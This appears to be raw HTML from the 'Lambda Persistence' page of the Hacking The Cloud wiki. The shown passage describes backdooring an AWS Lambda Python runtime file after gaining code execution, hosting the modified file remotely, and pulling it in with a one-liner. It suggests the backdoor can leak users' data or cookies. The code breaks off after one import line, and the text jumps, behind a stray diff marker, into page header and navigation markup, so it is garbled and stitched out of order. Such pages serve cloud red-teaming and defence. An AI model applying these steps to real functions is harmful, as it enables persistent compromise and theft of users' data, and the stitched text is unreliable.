4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/ >Gaining Persistency on Vulnerable Lambdas</a> by <a href=https://twitter.com/yuval_avrahami>Yuval Avrahami</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p><a href=https://frichetten.com/blog/revisiting_lambda_persistence/ >Revisiting Lambda Persistence</a></p> </li> </ul> </div> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.</p> </div> <p>After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>See the "Creating a Listener" section at the bottom of this page for how to setup a listener for exfiltrated data.</p> </div> <h2 id=python-runtime>Python Runtime<a class=headerlink href=#python-runtime title="Permanent link">&para;</a></h2> <p>After identifying that your target is using the Python runtime, you'll need a copy of the <code>/var/runtime/bootstrap.py</code> file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.</p> <p>Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:</p> <figure> <p><a class=glightbox href=../../../images/aws/persistence/lambda_persistence/python_backdoor_bootstrap.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Python - Backdoored Lambda Bootstrap File" loading=lazy src=../../../images/aws/persistence/lambda_persistence/python_backdoor_bootstrap.png></a></p> </figure> <div class="admonition note"> <p class=admonition-title>Note</p> <p>You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!</p> </div> <p>With the <code>bootstrap.py</code> file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down. </p> <p>The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the <a href=https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html>Runtime API</a>. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:</p> <div class=highlight><pre><span></span><code><span class=kn>import</span> <span class=nn>urllib3</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#python-runtime class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Lambda Persistence </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Lambda Persistence </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Lambda Persistence </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#python-runtime class=md-nav__link> <span class=md-ellipsis> Python Runtime </span> </a> </li> <li class=md-nav__item> <a href=#ruby-runtime class=md-nav__link> <span class=md-ellipsis> Ruby Runtime </span> </a> </li> <li class=md-nav__item> <a href=#creating-a-listener class=md-nav__link> <span class=md-ellipsis> Creating a Listener </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ 